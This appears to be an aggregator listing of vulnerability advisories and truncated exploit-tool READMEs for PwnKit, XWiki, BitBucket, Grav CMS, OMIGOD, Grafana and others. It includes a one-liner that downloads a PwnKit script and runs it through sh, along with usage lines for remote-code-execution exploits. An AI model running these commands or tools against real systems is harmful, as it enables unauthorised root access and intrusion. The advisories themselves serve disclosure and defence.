CVE-2026-55060 GoCD is vulnerable to authorization bypass via support process list API

GoCD is a continuous deliver server. From 13.1.0 until 26.1.0, the /go/api/support/processlist endpoint does not enforce its intended administrator-only authorization. An authenticated internal user can query the endpoint while source control child processes are running and view command-line...

Security Bulletin: Multiple vulnerabilities impacts AIX due to cURL libcurl.

Summary Multiple vulnerabilities in the curl/libcurl are related to reuse existing unencrypted connection CVE-2026-4873, credentials leakage CVE-2026-6253, CVE-2026-6429, CVE-2026-7168, cookies leakageCVE-2026-6276. Vulnerability Details CVEID:CVE-2026-4873 DESCRIPTION: A vulnerability exists whe...

CVE-2024-3273

D-Link NAS 명령 실행 취약점 익스플로잇 이 Python 스크립트는 D-Link NAS 장치의 취약점CVE-2024-3273을 악용하여 임의 명령을 실행할 수 있게 합니다. 이 취약점을 이용하여 영향을 받는 장치에서 원격으로 명령을 실행합니다. 기능 D-Link NAS 장치에서 임의 명령을 실행합니다. 단일 호스트와 파일에 있는 여러 호스트를 모두 지원합니다. 명령의 동시 실행을 통한 효율성 향상. 동시 실행을 위한 스레드 수를 지정할 수 있습니다. 실행할 사용자 정의 명령을 지정할 수 있습니다 기본값: id. 취약한...

CVE-2021-38297-Go-wasm-Replication

🚨 CVE-2021-38297 の悪用: GO Wasm バッファオーバーフローへの道のり 🚨 🌐 脆弱性の概要 🌐 WebAssembly WASM 🌍 は、C、C++、Rust、GO などの高級言語を最新の Web ブラウザーでシームレスに実行できるようにする、最先端のバイナリ命令形式です。しかし、CVE-2021-38297 🚩 の発見により、GO でコンパイルされた WASM バイナリに対する GO のコンパイルおよびロード処理に重大な欠陥があることが明らかになりました。GO が提供する JavaScript WASM ローダー wasmexec.js...

openssh: OpenSSH: sftp client allows attacker to control downloaded file location

A flaw was found in OpenSSH. The sftp client, when used to download files from a malicious server with the 'sftp server:/path .' command, does not properly restrict where those files are saved. This allows an attacker to control the download location, potentially overwriting existing files or...

Exploiting-PwnKit-CVE-2021-4034-

PwnKit CVE-2021-4034 の自己完結型エクスプロイト - Pkexec のローカル権限昇格 使い方 Ubuntu、Debian、Fedora、CentOS ベースの脆弱な Linux ディストリビューションでそのまま動作するはずです。 root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" 手動実行 root@kitploit: curl -fsSL...

CVE-2025-5777-Exploit

CVE-2025-5777 エクスプロイトツール 🔥 脆弱性 CVE-2025-5777 （Citrix NetScaler VPN に影響）を実証・分析するための強力な教育ツール です。 このプロジェクトは GO-TO CVE イニシアチブの一部です。 ⚠️ 教育目的のみ。所有していない、または明示的なテスト許可がないシステムでは使用しないでください。 📌 概要 このスクリプトは、脆弱な Citrix VPN エンドポイントによって露出した機密内部トークン、内部 IP、および非公開エンドポイントパスを検出・抽出しようとします。 学生、セキュリティ研究者、レッドチーム担当者が実際の CVE...

CVE-2020-26217

説明 XStreamはリモートコード実行に使用される可能性があります 影響 Xstream com.thoughtworks.xstream xstream 1.4.13 使用方法 root@kitploit: 0 text/plain 0 -1 1 cmd /c/st...

CVE-2024-4358

CVE-2024-4358 CVE-2024-4358에 대한 취약점 탐지 및 대규모 익스플로잇 도구 설치: root@kitploit: git clone https://github.com/RevoltSecurities/CVE-2024-4358 pip install -r requirements.txt python3 exploit.py --help 사용법: root@kitploit: python3 exploit.py -h / / / / / / / / | |// // / / / / / / / / / / / / / / // // / /...

CVE-2022-36804

CVE-2022-36804 PoC このリポジトリには、最近の BitBucket リモートコード実行の脆弱性 CVE-2022-36804 に対するシンプルな概念実証エクスプロイトが含まれています。この脆弱性を悪用するには、対象インスタンス上のリポジトリへのアクセスが必要です。認証情報を持っていない場合、ターゲットには公開リポジトリが必要です。 使用方法 root@kitploit: usage: exploit.py -h -p PROJECT -r REPO -u URL -c COMMAND --proxy PROXY --session SESSION --check...

Grav-CMS-RCE-Authenticated

Grav CMS リモートコード実行 認証済み - CVE-2024-28116 情報 このコードは、このビデオに基づいて改良を加えた、Graver Githubリポジトリからの翻案です。 Grav CMS（1.7.45未満のバージョン）に対するエクスプロイトで、SSTI + RCEの脆弱性（CVE-2024-28116として識別）に基づきます。このスクリプトは基本的に、脆弱性を含むページを作成し、実行し、最後に実行後にそのページを削除します。 使い方 root@kitploit: python3 GravCMSRCE.py -t http://10.10.10.10 -u 'admin...

Improper Validation of Array Index

Overview Affected versions of this package are vulnerable to Improper Validation of Array Index through the ExtractMysqlComment function in comments.go and the MySQL special-comment handling in token.go. An attacker can crash the parser by supplying a malformed MySQL version comment such as an...

Command Injection

Overview Affected versions of this package are vulnerable to Command Injection via the subprocess compute provider in the Worker Controller Instance module. An attacker can execute arbitrary commands on the Worker Service host by supplying a crafted compute provider configuration in their request...

Command Injection

Overview Affected versions of this package are vulnerable to Command Injection via the subprocess compute provider in the Worker Controller Instance module. An attacker can execute arbitrary commands on the Worker Service host by supplying a crafted compute provider configuration in their request...

echteeteepee

HTTP/1 Desync 脆弱性テストツール このリポジトリには、James Kettle （PortSwigger）による画期的な研究に基づき、HTTP/1 リクエストスマグリング（desync）脆弱性を検出するための防御的セキュリティツールが含まれています。 研究の帰属 この成果は、以下の技術に直接触発され、実装しています： 「HTTP/1 Must Die」 by James Kettle（PortSwigger Research） 元の研究: https://portswigger.net/research/http1-must-die 研究者: James...

OPENSUSE-SU-2026:21925-1 Security update for keybase-client

This update for keybase-client fixes the following issues: Changes in keybase-client: - CVE-2026-89090: Denial of Service due to Panic in AWS SDK for Go v2 SDK EventStream Decoder...

CVE-2025-24893

CVE-2025-24893 root@kitploit: Exploit Title: XWiki 15.10.10 - Unauthenticated Remote Code Execution Date: 09/08/2025 Exploit Author: D3Ext Vendor Homepage: https://www.xwiki.org/ Software Link: https://github.com/xwiki/xwiki-platform Version: 15.10.10 Tested on: Kali Linux 2025 CVE: CVE-2025-2489...

CVE-2024-46982

Next.js キャッシュポイズニングエクスプロイト このツールは、Next.js におけるキャッシュポイズニングの脆弱性 CVE-2024-46982 の検出と悪用を自動化します。この脆弱性では、Server-Side Rendering SSR のレスポンスが Static Site Generation SSG として誤ってキャッシュされる 可能性があります。この設定ミスにより、Stored XSS、DoS、データ漏えい が引き起こされ、攻撃者がキャッシュされたレスポンスに悪意のあるコンテンツを注入できるようになります。 インストールと使用方法 ターゲットリストを準備する...

CVE-2021-38647

CVE-2021-38647 CVE-2021-38647 - Azure UNIX/Linux VM에서 인증되지 않은 RCE OMIGOD를 악용하는 POC! 세부 정보 Microsoft Azure에서 OMI 애플리케이션은 Azure Automation Accounts, Update Management, Log Analytics, Configuration Management 등과 같은 서비스가 UNIX/Linux VM에 사용될 때 자동으로 설치됩니다. 또한 Configuration Management 서비스를 사용하여 원격으로 시스템을...

grafana-CVE-2018-15727

Grafana CVE-2018-15727 エクスプロイト インストール root@kitploit: $ go get github.com/u238/grafana-CVE-2018-15727 使い方 root@kitploit: $ source go env $ $GOPATH/bin/grafana-CVE-2018-15727 ldapadmin i delete the grafanasess cookie from your browser session i set following cookies in you browser: for Grafana 5.x:...